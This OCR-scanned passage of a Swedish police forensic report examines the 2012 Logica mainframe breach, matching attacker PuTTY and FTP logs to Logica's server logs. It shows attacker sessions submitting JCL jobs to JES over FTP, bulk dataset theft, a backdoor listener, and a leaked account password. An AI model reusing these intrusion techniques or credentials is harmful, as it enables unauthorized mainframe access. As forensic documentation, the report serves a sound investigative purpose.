l EQQGJ CCT 178 . 18 . 243 . 27 

DS_NAME 

l D345 . EW19 . J C L I B  

l D345 . EW19 . J C L I B  

A v loggfilen "semaapt2" framgår också att man hämtar hem ytterligare över 
1 00 filer vid samrna tillfälle. Några av dessa syns i bilden nedan. 

125 Sending data set D384 . DAF 1520 . 0P19 . J C L (ADCRE ) F IXrecfm 813 
### 
250 Tran sfer completed s u c c e s sfully . 
3034 bytes received in 0 . 131 s e c s  ( 222 . 0  kB/ s )  
local : ADCREX remote : ADCREX 
2130 Port req uest OK . 
125  Sending data set D384 . DAF1520 . 0P19 . J C L (ADCREX)  F IXrecfm 80 
### 
250 Tran sfer completed s u c c e s sfully . 
3034 bytes rece ived in 0 . 131 sec s ( 23 5 . 2  kB/ s )  
local : ADC R E 2  remote : ADCRE2  
200  Port req uest OK . 
125  Sending data set D384 . DAF 15213 . 0P19 . J C L ( ADC RE 2 )  F IXrecfm 813 
### 
2513 Transfer  c ompleted s u c c e s sfully . 
3034 bytes  rece ived i n  0 . 00 sec s ( 983 . 4  kB/ s )  
local : AL LOEVPX remote : ALLOEVPX 
200 Port req uest OK . 
125  Sending data set D384 . DAF 1 5 20 . 0P19 . J C L (AL LOEVPX) F IXrecfm 813 
# 
250 Transfer  c ompleted s u c c e s sfully . 
738  bytes  received in 0 . 00 s e c s  ( 241 . 5  kB/ s )  
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Undersökn ingsprotokol l  beslag 20 1 2-0201 -BG25023 Log ica ,  201 3-03-28 07:38 d iar ienr :  020 1 -K8 1 864-1 2 

Polismyndigheten i Stockholms län 

loc a l : APPLAPPL remote : APP LAP P L  
200 Port request OK . 

Utdrag 16 Utdrag ur "semaapt2" 

20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

Filerna i loggfilen "semaapt2" går att matcha mot Logicas ftp-logg 
"TCP _FTP _SERVER" (se bild nedan) 

DATE 
TIME 

FTP LOCAL BYTE MEMB E R  F U L L  
COMMAND U S E R I D  COUNT P D S  NAME REM I P  ADDR 

201 2 - 02 - 26 l RETR l AVIY3 56 3034 l ADCRE 178 . 18 . 243 . 27 
23 : 51 : 02 
201 2 - 02 - 26 : RETR AVIY3 5 6  l 3034 l ADC R E 2  178 . 18 . 243 . 27 
23 : 51 : 02 
201 2 - 0 2 - 26 l RETR l AVIY3 5 6  3034 l ADCREX 178 . 18 . 243 . 27 
2 3 : 51 : 02 
2012 - 0 2 - 26 l RETR AVIY3 5 6  738 ALLOEVPX 178 . 18 . 243 . 27 
23 : 51 : 02 l l 

Tabell I l  Utdrag ur "TCP _FfP _SERVER" 

"semaapt2" finns i bilaga 20 1 2-020 1 -BG25023-26 .6 

"sembsn.log" 

F I LNAMN j SÖKVÄG 

sembsn . log l t001a \ a \x\cpr\sembsn  . log 
S KAPAD 2012 - 03 - 09 12 : 47 : 11 
S E NAST ÄNDRAD 2012 - 03 - 09 12 : 59 : 2 3 
STOR L E K  229 � 2 KB 

DS_NAME l D384 . DAF 1520 . 0P 
19 . J C L  
D384 . DAF 1520 . 0P 
1 9 . J C L  l D384 . DAF 1520 . 0P 
1 9 . J C L  l D384 . DAF 1520 . 0P 
1 9 . J C L  

UTC 
UTC 

Beräknad  tid  ( - 124 : 12 : 00 )  med anledning av omst ä l l n i n g  av datorns  klocka : 
S KAPAD 2012 - 03 - 04 08 : 3 5 : 11 
S E NAST ÄNDRAD 2012 - 0 3 - 04 08 : 47 : 2 3 

Den beräknade tiden överensstämmer också med händelser som registrerats i 
loggfilen. 

A v översta raden i bilden nedan framgår att loggen startades klockan 1 2.4 7 . 1 1  
den 9 mars 20 12  vilket också överensstämmer med fildatumet 

= - = - = - = - = - = - = - = - = - = - = - =  PuTTY log 2012 . 03 . 09 12 : 47 : 11 = - = - = - = - = - = - = - = - = - = - = - =  

[ E s c ] ft p >  
[ E s c ] ft p >  d i r  
200 Port request OK . 
125  L i s t  started OK 
Volume Unit 
Migrat ed 
Migrat ed 
Migrat ed  

Refe rred E xt Used  Recfm Lrecl  BlkSz  Dsorg Dsname 
ACBTEMP 

Utdrag 1 7  Utdrag ur "sembsn.log" 

ADMINl . TRANS F E R  
AM . TEMP . $ 5 2 5 5 2  

I Logicas ftp-logg från den 4 mars 20 1 2  syns hur användaren BSN0058 från lP
adressen 178 . 1 8 .243 .27 lägger upp filen "a" för att sedan direkt därefter radera 
den. Filens storlek är enligt loggfilen 320 B (se bilden nedan) . 

DATE 
TIME 

FTP LOCAL BYTE MEMB E R  
COMMAND USERID COUNT PDS_NAME 

DS_NAME 

378 
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2012 - 0 3 - 04 
STOR BSN0058 320 178 . 18 . 243 . 27 l /tmp/a 

08 : 39 

2012 - 0 3 - 04 l 
08 : 39 

l D E L E  BSN0058 e 178 . 18 . 243 . 27 /tmp/a 
J 

Tabell 1 2  Utdrag ur "TCP _FTP _SERVER" 

Motsvarande händelse återfinns i filen "sembsn. log" . I utdraget från 
"sembsn. log" nedan syns hur filen "eftitup.jcl" på den egna datorn kopieras som 
fil "a" till katalogen "/tmp" på datorn man anslutit till . Därefter visas innehållet i 
katalogen "/tmp" med kommandot "dir/tmp/". Bland innehållet i katalogen, på 
raden näst längst ner i utdraget, syns filen "a" på 320 byte skapad klockan 8 . 39 
den 4 mars . Katalogen innehåller fler filer än vad som visas i utdraget nedan. 

ftp >  c d  [ ba c k s p a c e [ b a c k s pa c e [ ba c k s p a c e ] put a [ ba c kspace ] eftitu p . j c l  /tmp/a 
loc a l : eft it u p . j c l  remote : /tmp/a 
200 Port request OK . 
125  storing data set /tmp/a 
250 Tran sfer completed s u c c e s sfully . 
320 bytes  sent in 0 . 00 s e c s  ( 5296 . 6  kB/ s )  
ftp >  put [ ba c ks p a c e ] [ ba c kspac e ] [ ba c k s p a c e [ b a c k s p a ce ] [ bell ] d i r  /tmp/ 
200 Port request OK . 
125  List  started OK 
tot a l  45176 
- rw - r - - - - -
- rwxr - x r - x  
- rw- r - - - - -

l SUPE RUSR D384 
l 39573  D384 
l BPXD F LTU D384 

- rwxrwxrwx l BPXDF LTU D384 

Utdrag 18 Utdrag ur "sembsn.log" 

4 May 31 2002 IMWE 
5045 Oct 30 2009 SYSHIS20091027 . 141314 . CNT 

320 Mar 4 08 : 39 a 
98304 Mar  4 08 : 13 a . env 

Efter att man listat innehållet i katalogen raderas filen "a" (se bild nedan) . 

- rw- r - - r - - l DAF 1473 D384 1316194 Nov 18 2008 ws2tela4 . log 
d rwxr - x r - x  5 SUPE RUSR D384 8192 May 13  2007 xx 
250 List  completed s u c c e s sfully . 
ft p >  del  /tmp/a 
250 /tmp/a deleted . 

Utdrag 1 9  Utdrag ur "sembsn.log" 

I Logicas egen rapport "Report on the IT security incident of 20 1 2" beskrivs 
under "Attacks via FTP" hur JCL-script kan användas i IBM mainframe-rniljö 
för att via FTP köra jobb i JES (Job Entry Subsystem) . I loggfilen "sembsn. log", 
direkt efter att filen "a" raderats enligt bilden ovan, syns vad som sannolikt är 
ett försök att köra ett sådant JCL-script (se bild nedan) . 

ft p >  s ite s u b sys= 
200 SITE  command  wa s a c c epted 
ftp >  a s c [ ba c ks p a c e ] [ ba c ks p a ce ] [ ba c k s p a c e ] [ bell ] s ite filetype=j e s  
200 S I T E  comma nd  w a s  a c cepted 
ft p >  s ite filetype=j e s  
[ - > ] [ - > ] [ - > ] [ - > ] [ - > ] [ - > ] [ - > ] [ - > ] [ - > ] [ - > ] s u b sys = [ K .  
200 SITE  comma nd  was a c c epted 
ftp >  put / [ ba c ks p a c e ] eftitup . j c l  
local : eftitup . j c l  remote : eft it up . j c l  
200 Port req uest OK . 
125  Sending  Job  to J E S  interna!  reader F IXrecfm 80 
2 5 0 - It i s  known to J ES as * UNKNOWN 
250 Tran sfer completed s u c c e s sfully . 
320 byte s  sent i n  0 . 00 s e c s  ( 8928 . 6  kB/ s )  
ft p >  d i r  
200 Port request OK . 
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125 List  s t a rted OK 
No j obs  fou nd  on Held queue 
250 List  completed s u c c e s sfully . 
ftp >  s ite s u bsys  
200 SITE c omma nd  wa s a c cepted 
ftp >  ! 
root@d10 : /dev/ s hm# cat ef [ bell ] titup . j c l  

Utdrag 20 Utdrag ur "sembsn.log" 

20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

Lite längre ner i loggfilen syns vad som ser ut att vara upprepade försök att 
ansluta via ftp mot en annan lP-adress, 1 47 .29 . 1 1 . 8 1 ,  som tillhör CSC i 
Danmark. På rad sex i bilden nedan, efter svarskoden 220, syns en tidsstämpel 
som sannolikt kommer från CSCs server, klockan 7 .45 den 4 mars 20 12 .  Denna 
tid är troligen angiven i UTC d.v. s .  8 .45 CET. 

V ad tidsstämpeln i den översta raden kommer ifrån är inte klarlagt men 
eventuellt kan det vara tidpunkten i datorn man ansluter via, i det här fallet 
datorn med namn d 10. 

WPT90EDI WPT90999 : - - 2012-03 - 04 07 : 56 : 43 - 
ft p : //WPT90EDI : * p a s sword *@147 . 29 . 11 . 81/ [ 73D 
= > - . listing ' 
Connecting to 147 . 29 . 11 . 81 : 21 . . .  con nected . 
Logging in  a s  WPT90EDI . . .  
220- TFTPD131 I BM FTP  CS V1R12 at DKCSCD13 , 07 : 45 : 39 on  2012 -03 - 04 .  
220 Connection will  c lose  i f  idle  for more t h a n  5 minutes . 
- - >  USER  WPT90EDI 

331  Send pas sword plea s e . 
- - >  PASS Turtle Powe r ! 

5 30 - E rror on __ p a s swd ( )  function c a l l ,  errno=143 , r s ncode=090C05DD 
530- The u s e rn ame is u n known. 
530 PASS command  failed 

Login incorrect . 

Utdrag 21 Utdrag ur "sembsn.log" 

I slutet av loggfilen finns ytterligare hämtningar av filer som matchar mot 
Logicas ftp-logg. Utdraget nedan visar hur fyra av dessa överföringar ser ut i 
loggfilen "sembsn. log". I utdraget nedan syns hur man först skapar katalogen 
"llib" på den lokala datorn och därefter väljer den som aktiv. De filer man sedan 
hämtar via ftp kommer då att hämtas till katalogen "/dev/shm/llib/' .  Man hämtar 
därefter filerna "ACLIST", "A679A0 1 3", "A679IKEA" och "A679IKEB" från 
katalogen "D384.LLIB" på datorn man anslutit till . 

ftp >  ! mkdir  l l i b  
ft p >  ! l ed  [ ba c ks p a ce ] [ ba c ks p a ce ] [ ba c ks p a c e ] [ ba c k s p a ce ] [ ba c kspac e ] l c d  l l i b  
Local  d i rectory n o w  /dev/ shm/ l l i b  
ft p >  a s c i i  

200 Representation type is  As c i i  NonPrint 
ft p >  
ft p >  p rompt 
Interactive mode off . 
ft p >  mget * 
loc a l : AC LIST remote : AC LIST 
200 Port req uest OK . 

125  Sending data  set D384 . L L I B ( AC L I S T )  
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250 Tran sfer completed s u c c e s sfully . 
592 bytes received in 0 . 00 s e c s  ( 221 . 9  kB/ s )  
loc a l : A679A013 remote : A679A013 
200 Port request OK . 

125 Sending data set D384 . L L I B ( A679A013 ) 

WARNING ! 3 bare linefeeds  received in A5C I I  mode 
File may not have tran sferred correctly . 
250 Transfer completed s u c c e s sfully . 
6800 bytes received in 0 . 08 s e c s  ( 88 . 0  kB/ s )  
loc a l : A679IKEA remote : A679I K EA 
200 Port req uest OK . 

125  Sending data set D384 . L LI B (A679IKEA)  

250 Tran sfer completed s u c c e s sfully . 
3460 bytes  received in 0 . 01 s e c s  ( 642 . 0  kB/ s )  
loc a l : A679I K E B  remote : A679I K E B  
200 Port req uest OK . 

125  Sending data set D384 . L L I B ( A679I K E B )  

2 5 0  Tran sfer completed s u c c e s sfully . 

Utdrag 22 Utdrag ur "sembsn.log" 

Nedan visas ett utdrag ur Logicas ftp-logg som matchar de filer som hämtats 
enligt loggen i bilden ovanför. 

DATE FTP LO CAL BYTE MEMB E R  F U L L  D S  NAME 
TIME COMMAND US ERID  COUNT PDS NAME REM I P  ADDR -

2012 - 0 3 - 04 l RETR BSN00 5 8  592  AC LIST 178 . 18 . 243 . 27 l D384 . L L I B  
08 : 46 
2012 - 0 3 - 04 

RETR BSN0058 6800 A679A013 178 . 18 . 243 . 27 D384 . L L I B  
08 : 46 
2012 - 0 3 - 04 l RETR BSN0058 3460 A679IKEA 178 . 18 . 243 . 27 l D384 . L L I B  
08 : 46 
201 2 - 0 3 - 04 

RETR BSN0058 2764 A679I K E B  178 . 18 . 243 . 27 l D384 . L L I B  
08 : 46 

Tabell 1 3  Utdrag ur "TCP _FTP _SERVER" 

Förutom de fyra filerna i utdragen ovanför visar både "sembsn. log" och Logicas 
ftp-logg ytterligare 72 matchande filer som hämtas vid samma tillfälle. Strax 
därefter syns i loggfilen "sembsn. log" hur man listar innehållet i katalogen 
"/dev/shm/llib/' på den lokala datorn, d l O  (se bild nedan) . Bland innehållet i 
katalogen syns de filer som hämtats i exemplet ovan. 

root@d10 : / dev/ s hm/llib# l s  
A679A013 A679ML15 A6790013 A999SMFD  A999TMS1 A999TMS 5 A999TMSC A999TMSG 
A999TMSM A999TMSP B165ST1 D384ASC2  D384CONV D384G ETM D384LOG2 D384PDS 
D384RMT0 D384SPA3 D384TLOG D384XE17 D384X E 3 6  D384XT17 D45 5G510 DAFACT01 
DASDSTA2 I E F BR15 
A679IKEA  A679MRG2 A679STAB A999SMFM A999TMS3 A999TMSA A999TMS E A999TMSK 
A999TMSN A999TMTO C2AS4000 D384ASCI  D384F IXA D384J E 2  D384LOGG D384RAC F 
D384S LOG D384TEST D384XE15  D384XE18  D384X E 3 7  D384XT37 D610BLNF  DAFASWML 
DASDSTA3 
A679 I K E B  A679MRGX A999NL80 A999SMFV A999TMS4 A999TMSB A999TMS F A999TMS L 
A999TMSO AC LIST  D345A999 D384C227 D384F IXB D384L500 D384MATZ D384RMT 
D384SPA2 D384TL02 D384XE16  D384X E 3 5  D384X E 3 8  D384XT99 DADEB130  DAFASWTR 
DASDSTAT 

Utdrag 23 Utdrag ur "sembsn.log" 

l 
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Filen "sembsn.log" finns i bilaga 20 1 2-020 1 -BG25023-26.7 

"inforiks.log" 

F I LNAMN J SÖKVÄG 

i nforiks . log l t001a \a \x\inforiks  . log 
S KAPAD 1 2012 - 02 - 29 18 : 00 : 36  l UTC 
S E NAST ÄNDRAD l 2012 - 02 - 29 20 : 31 : 01 l UTC 

Beräknad  tid  ( - 124 : 12 : 00 )  med anledning av omställning  av datorns  klocka : 

S KAPAD 2012 - 02 - 24 13 : 48 : 36 C ET  
S E NAST ÄNDRAD 2012 - 02 - 24 16 : 19 : 01 CET  

lP-adressen 178 . 1 8 .243 .27 förekommer även i filen "inforiks. log" som visar en 
ftp-anslutning till ftp.infodata. se (bilden nedan) . 

= - = - = - = - = - = - = - = - = - = - = - =  PuTTY log 2012 . 02 . 29 18 : 00 : 36 = - = - = - = - = - = - = - = - = - = - = - =  

stat 
Connected to ft p . infodata . se .  
No p roxy connection . 
Mode : st ream ; Type : a s c i i ; Form : non - p rint ; St ructure : file 
Ve rbose : on ; Bell : off ; P rompting : on ; Globbing : on  
store  unique : off ; Receive unique : off 
Case : off ; CR  stripping : on 
Quote cont rol c h a racters : on 
Nt ra n s : off 
Nma p : off 
H a s h  mark  printing : on ; Use of PORT cmd s : on 
T i c k  counter printing : off 
ftp >  q uote stat 
2 1 1 - Server FTP t a l king to hast 178 . 18 . 243 . 27 ,  port 5 3469 
211 - U ser : AVIY356  Warking d i rectory : AVIY3 5 6 . 

Utdrag 24 Utdrag ur "inforiks.log" 

Loggfilen innehöll ingenting som kunde kopplas mot Logicas ftp-logg. I översta 
raden på loggfilen kan man se att loggen startade den 29 februari 20 1 2  klockan 
1 8 .00 .36 .  Detta överensstämmer med när loggfilen skapades på datorn. 

"inforiks.log" finns i sin helhet i bilaga 20 1 2-020 1 -BG25023-26 .8  

Referenser till lP-adressen 178 . 1 8 .243 .27 finns även under rubriken " JCL 
programs" 

93.186.1 70.54 

VPS4LESS ,  Inline Internet Online Dienst, Tyskland. 

I loggfilen "TCP _FTP _SERVER" från Logica förekommer lP-adressen med 
529 poster mellan den 4 februari och den 2 1  mars 20 12 .  Vid samtliga tillfällen 
då data överförts eller raderats via denna lP-adress har användarkontet "NUS" 
använts . 
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LOGN 27 
Tabell l 4  Sammanställning a v  data u r  "TCP _FTP _SERVER" 

I den undersökta datorn återfanns lP-adressen bl.a. i registerfilen "Partitian 
3\Users\aWTUSER.DAT" under ' '\SimonTatham\PuTTY\SshHostKeys "(se bild 
nedan) . 

w u 501 
S· Simon T at h am 

s a PuTTY 
00 a Sessions 

, L. . .S SshHostKeys 
00 a Synaptics 

Bild 26 

� rsa.!\!P.U: I U. I4U.u.:s 
� dss@22: 10.140.0.1  
� rsa2@22:1 0.140.0.4 
� rsa2@22:93. 1 86. 1 70.S4 
� rsa2@22:21 2.1 1 2. 186.1 98 
� rsa2@ 10200:212.1 1 2. 1 86.214 

KtiJ_:>L 
REG_SZ 
REG_SZ 
REG_SZ 
REG_SZ 
REG_SZ 

I.IX.!:S,UXD /.! 1• 
Oxa4c83d1 el 
Ox23,0xd0731 
Ox23,0x9bda• 
Ox23,0xe580! 
Ox23,0xe580! 

Då man använder programmet PuTTY (ett program för fj ärrstyrning av datorer 
och servrar) för att med SSH ansluta till en server får man första gången man 
besöker servem frågan om man vill spara servems unika identifieringskod (host 
key) . Om man väljer att spara koden sparas den i Windows register under 
sökvägen SimonTatham\PuTTY\SshHostKeys . 

Första gången lP-adressen 93 . 1 86. 1 70.54 syns i Logicas loggfil 
"TCP _FTP _SERVER" är den 4 februari 20 1 2  med en misslyckad inloggning. 

I den undersökta datorn återfanns en fil kallad "e". 

F I LNAMN l SÖKVÄG 

e l t881a \a\  vmSha red l i nux a\e  
S KAPAD 2811 - 89 - 14 28 : 43 : 3 5 ( Sannolikt felaktig )  
S E NAST ÄNDRAD 2812 - 82 - 87 1 5 : 29 : 36 
STOR L E K  4 896 B 

Beräknad  tid  ( - 86 : 58 : 33 )  med anledning  av omställning  av datorns  kloc ka : 

S KAPAD Sannolikt fel a ktig  
S E NAST ÄNDRAD 2812 - 82 - 84 88 : 31 : 83 

UTC 
UTC 

När det gäller tidpunkten för när filen skapades är någonting sannolikt fel .  En 
förklaring till detta fel skulle kunna vara att en fil med detta namn, "e", redan 
funnits på denna plats och blivit ersatt med den nya loggfilen "e". 

De första två raderna i filen visar text i ASCII-format. Därefter följer text i 
EBCDIC (se bild nedan) . De första två raderna visar vad som ser ut att vara ett 
svar på en anslutning till servem semainf.infodata. sema.se. Där visas också 
tidpunkten för anslutningen. 

220 - F TPD1 I BM FTP CS V1R10 at sema i n f . infodata . s ema . se ,  00 : 30 : 40 on 201 2 - 0 2 - 04 .  
220 Connection will  c lose  i f  idle  for more t h a n  1 0  minutes . 
oM@a E äÅ@f-"" o ,@ :  �@ ff ... -E ... , 6åå@l:1 o ' o - : o@f-"" o,@ 
ofi n ·  a .. :·� .. .'"@A:ä x@E "' %o o :t:@f -@- -� f@u6KM>öKfi7oK66k@--'"f@fi6u6ö 
ofi n ·  M .. .'"z@@\@öööÅ@\@@@<E-'"' %o o :t:@,%o'" .. .ff-'" . . z@\@öööA@\ 

Utdrag 25 Utdrag ur "e" 

Översatt till ASCII blir innehållet följande: 
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220- FTPD1 IBM FTP c s  V1R10 a t  semainf . infodata . sema . se ,  00 : 30 : 40 o n  2012 - 0 2 - 04 .  
220 Connection wi ll  close  i f  idle  for more t h a n  1 0  minutes . 
200 SITE  comma nd  was a c c e pted 
500 unknown comman d  
211 - Server FTP t a l king  to  h o s t  9 3 . 186 . 170 . 54, port 14946 
2 1 1 - U s e r : * NONE * Working d i rectory : * NONE * 
211-The  cont rol connection  h a s  tran sferred 263  bytes 
211 - There i s  no  c u r rent data connection . 
211-The  next data connection will  be act ively opened 
211-to host 93 . 186 . 170 . 54, port 14946, 
211 - u s i n g  Mode Stream,  Structure File, type ASC I I ,  byte - s ize 8 
211-Automat ic  rec a l l  of migrated data set s . 
211 - No a utomat ic  mount of d i rect a c c e s s  volume s . 
211 - No Auto tape mount i s  a llowed . 

Utdrag 26 Utdrag ur ''e" 

Av utdraget ovan syns att det är lP-adressen 93 . 1 86 . 1 70.54 som anslutit till 
semainf.infodata.sema. se. I en fil kallat "out" finns ytterligare en anslutning till 
samma adress, drygt sju minuter senare, men av denna fil framgår inte varifrån 
man anslutit. 

F I L NAMN SÖKVÄG 

out l t001a\a \vmSha red l i n ux a \out 
S KAPAD 2012 - 0 2 - 07 1 5 : 33 : 43 
S E NAST ÄNDRAD 2012 - 02 - 07 1 5 : 36 : 48 
STOR L E K  195  B 

Beräknad  tid  ( - 86 : 58 : 3 3 )  med a n l ed n i ng av omst ä l l n ing  av datorns  klocka : 

SKAPAD 2012 - 02 - 04 00 : 3 5 : 10 
S E NAST ÄNDRAD 2012 - 02 - 04 00 : 38 : 1 5 

UTC 
UTC 

Nedan visas hela innehållet i filen. De två sista raderna är text konverterad från 
EBCDIC till ASCII. 

220- FTPD1 I BM FTP cs V1R10 at semainf . infodata . sema . se ,  00 : 37 : 48 on 2012 - 0 2 - 04 .  
220 Connection will  close  i f  idle  for more t h a n  1 0  minutes . 
200 SITE  command wa s a c c epted 
500 u n known c omma nd  

Utdrag 27  Innehållet i filen "out" 

Ytterligare relationer till lP-adressen 93 . 1 86. 1 70.54 återfinns under rubriken " 
Logicas rapport - Report on the IT security incident of 20 1 2" .  lP-adressen 
förekommer bl .a .  när det gäller anslutning till Logica via en bakdörr, program 
funna på Logicas system och sammanställning av uppgifter från Skatteverket. 

Filen "e" finns i bilaga 20 1 2-020 1 -BG25023-26 .9 .  

202.120.189.223 

Tongji University, Kina 

I loggfilen "TCP _FTP _SERVER" från Logica förekommer lP-adressen med 2 
024 poster från den 22 mars 20 1 2  klockan 23 . 1 0 till den 23 mars klockan 6. 1 8 .  
Vid samtliga tillfällen då data överförts från denna lP-adress har användarkontet 
"DAF5648" använts . 
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Tabell l 5  Sammanställning av data ur "TCP _FTP _SERVER" 

I den krypterade containern under sökvägen "t00 1 a\a\x\cpr\j0ascii\" återfanns 
l 989 textfiler vars namn alla börjar med "ascii .DRK.JLIB .BKP.D 1 1 1 1 0 1 "  följt 
av en kombination av bokstäver och/eller siffror. Samtliga filnamn matchar 
namn på filer som filer som gått ut från Logica den 23 mars 20 1 2  till lP
adressen 202. 1 20. 1 89 .223 (se exempel från Logicas FTP-logg nedan) . Samtliga 
filer som hämtas till lP-adressen har prefixet E4846. 

DATE 
TIME 
2012 - 0 3 - 2 3  
04 : 50 : 14 
2012 - 0 3 - 2 3  
04 : 52 : 54 
2012 - 0 3 - 2 3  
04 : 52 : 56 
201 2 - 0 3 - 2 3  
04 : 52 : 59 
2012 - 03 - 23 
04 : 53 : 01 

FTP LOCAL BYTE MEMB E R  F U L L  
COMMAND U S E R I D  COUNT P D S  NAME R E M  I P  ADDR 

RETR l DAF 5648 80 A 202 . 120 . 189 . 223 

1 RETR : DAF 5 648 1360 All1 202 . 120 . 189 . 223 

RETR 
l 

DAF 5 648 11920 A2309 3 NX 202 . 120 . 189 . 223 

RETR DAF 5648 6000 A24812A 202 . 120 . 189 . 223 

RETR l DAF 5648 6000 A24812B 202 . 120 . 189 . 223 

Tabell 1 6 Utdrag ur  "TCP _FTP _SERVER" 

DS_NAME 

E484 . DRK . J L I B . B 
KP . D111101 
E484 . ORK . J LI B .  B 
K P . Dlll101 
E484 . DRK . J L I B . B  
K P . D111101 
E484 . DRK . J L I B . B 
KP . D111101 
E484 . DRK . J L I B . B  
KP . D111101 

Sannolikt är de textfiler som återfanns på den undersökta datorn redigerade 
varianter av de filer som hämtats från Logica. Filerna på datorn var alla i ASCII 
medan Logicas filer normalt är i EBCDIC. Namn på samtliga filer finns i bilaga 
20 1 2-020 1 -BG25023-26. 1 0. 

Name L - Size  ( byt e s ) 

a s c i i . DRK . J L I B . BKP . D111101 ( A ) . txt 1 90 

a s c i i . DRK . J LI B . BKP . D111101 (A11 1 ) . txt 1 5 3 0  

a s c i i . DRK . J L IB . BKP . D111101 ( A23093NX ) . txt 1 13410 

a s c i i . DRK . J L IB . BKP . D111101 ( A24812A) . txt 6750 
J 

a s c i i . DRK . J L IB . BKP . D111101 (A24812B ) . txt l 
6750 

Tabell 1 7  Exempel på filer i katalogen "tOO l a\a\x\cpr�Oascii\" 

Created 
( UTC ) l 2012 - 05 - 19 
2 3 : 00 
2012 - 05 - 19 
23 : 00 l 2012 - 0 5 - 19 
2 3 : 00 
2012 - 05 - 19 

J 2 3 : 00 l 2012 - 0 5 - 19 
2 3 : 00 

Modified 
( UTC ) l 2012 - 0 3 - 2 3  
10 : 47 

l 2012 - 0 3 - 2 3  
10 : 47 l 2012 - 0 3 - 2 3  
10 : 47 
2012 - 0 3 - 2 3  
10 : 47 l 2012 - 0 3 - 2 3  
10 : 47 

Samtliga textfiler återfanns även i den packade filen "jOascii . tgz" . För filerna 
inuti den packade filen återfanns endast tidsstämpel för "modified" vilken 
överensstämde med tidsstämpeln "modified" i textfilerna ovan. Detta tyder på 
att tidsstämplen "created" i tabellen ovan skapats då innehållet i den packade 
filen "jOascii .tgz" extraherades på datorn. 

6 Prefixet E484 är enligt Logica "Applicate, program m.m." 
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F I LNAMN j SÖKVÄG 

j 0a s c i i . tgz l t001a\a \x\c pr\j0a s c i i . tgz 
S KAPAD 2012 - 04 - 11 03 : 16 : 37 
S E NAST ÄNDRAD 2012 - 04 - 11 
STOR L E K  1 085 KB 

203.176.141.205 

Mekongnet, Kambodja. 

03 : 17 : 40 

020 1 -K8 1 864- 1 2  

UTC 
UTC 

I loggfilen "TCP _FTP _SERVER" från Logica förekommer lP-adressen med 
1 92 poster från den 10 mars 20 1 2. Då data överförts till och från denna lP
adress har användarkontona "NUS", "AVIY354" och "A VIY356" använts . 

Tabell 1 8  Sammanställning av data ur "TCP _FTP _SERVER" 

Till lP-adressen hämtades bl.a. en fil kallad "prim.gz". En fil med detta namn, 
och innehållande Logicas RACF-databas , återfanns på den undersökta datorn. 
Detta beskrivs närmare under rubriken "RACF". 

Från lP-adressen laddades bl . a. två programfiler kallade "bes" och "dps" upp till 
Logica. Två filer med dessa namn återfanns på den undersökta datorn. Detta 
beskrivs närmare under rubriken "Program funna på Logicas system" 

Logicas rapport - Report on the IT security incident of 2012 

A VIY356 

I inledning på Logicas rapport, under rubriken "Summary" står att intrånget mot 
Logica påbörj ades den 25 februari genom inloggningar via FTP med 
användarkontet "AVIY356". I den krypterade containern återfanns en fil som 
innehåller inloggningsuppgifter för kontot "A VIY356": 

F I L NAMN l SÖKVÄG 

i nfodata . se l t001a \a \x\i nfodata . se  
S KAPAD 2012 - 02 - 29 17 : 57 : 57 
S E NAST ÄNDRAD 2012 - 02 - 29 17 : 57 : 59 
STOR L E K  124 B 

Beräknad  tid  ( - 124 : 12 : 00 )  med a n led n ing av omst ällning  av datorns  klocka : 
SKAPAD 2012 - 02 - 24 1 3 : 45 : 57 
S E NAST ÄNDRAD 2012 - 02 - 24 13 : 45 : 59 

Innehållet i filen var följande: 

< s la ngen > aviy3 56  
< s l a ngen>  018225 

UTC 
UTC 
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< s la ngen > c d  . .  
< s lange n >  cd  e897 . y3568225 

< s la ngen > a s c i i  
< s l ange n >  ftp . infodata . se 

Utdrag 28 Innehåll i "infodata. se" 

Andra raden i filen, 0 1 8225 , överensstämmer med det lösenord för kontot 
"AVIY356" som återfanns i filen "cracked4.out" (närmare beskrivning under 
rubriken "Användarkonton och lösenord" i detta dokument) . Innehållet i filen 
ser ut att kunna komma från en chatdialog, t .ex. i IRC. 

Bakdörr 

I Logicas rapport under rubriken "Access to mainframe through backdoor" 
beskrivs hur ett program kallat "aptcli" använts av en angripare för att via en 
annan server ansluta till en bakdörr på Logicas SY19 .  Ett program med namnet 
"aptcli" återkommer i loggfilen "aptftp .log" . 

"aptftp.log" 

F I L NAMN l SÖKVÄG 

a ptftp . log l t001a\a\x\cpr\aptftp  . log 
S KAPAD 2012 - 03 - 10 18 : 08 : 14 
S E NAST ÄNDRAD 2012 - 03 - 11 01 : 20 : 48 
STOR L E K  731 ) 8 KB 

Beräknad  tid  ( - 124 : 12 : 00 )  m e d  a n l e d n i n g  av omst ä l l n i n g  av d a t o r n s  kloc ka : 

SKAPAD 2012 - 0 3 - 05 13 : 56 : 14 
S E NAST ÄNDRAD 2012 - 03 - 05 21 : 08 : 48 

UTC 
UTC 

Översta raden i loggfilen visar när PuTTY startar att logga. Tidpunkten 
överensstämmer med när filen skapades på datorn. Som beskrivs senare, under 
rubriken "kuku", återspeglar loggfilen händelser som sker den 5 mars 20 12 .  
Filen "aptftp .log" finns i bilaga 20 1 2-020 1 -BG25023-26. 1 1 . 

l = � = � = � = � = � = � = � = � = � = � = � =  PuTTY log 2012 . 03 . 10 18 : 08 : 14 = � = � = � = � = � = � = � = � = � = � = � =  

Utdrag 29 Utdrag ur "aptftp. log" 

I loggfilen "aptftp.log" syns hur ett program kallat "aptcli" körs och att det 
accepterar en anslutning från lP-adressen 93 . 1 86 . 1 70.54 (bilden nedan) . 

APT2011 : /  
> . / a p [ b a c k s p a c e ] pt c l i  
$AC LITP00 ADVANCED C L I ENT THREAT P E RSISTANCE  INITIALIZATION . 
Advanced  Persistent c lienT 
port 443 : listening . 
wait ing  for the  APTb a c k < TM> . . .  
alert ! ! !  adva n c ing port 443 th reat ! 
a c cepted persistent t c p  connection from 9 3 . 186 . 170 . 54 : 2984 
$APTM1337 ENTE RING ADVANCED  PRINTE R/TYP EWRITE R  MODE 

Utdrag 30 Utdrag ur "aptftp.Jog" 

Något program kallat "aptcli" återfanns inte i det undersökta materialet. I den 
krypterade container återfanns däremot "källkod" till vad som sannolikt är 

387 

40 



U ndersökn ingsprotokol l  beslag 201 2-020 1 -BG25023 Log ica, 201 3-03-28 07:38 d iarienr:  020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 2013-0 1 -2 1  020 1 -K8 1 864- 1 2  

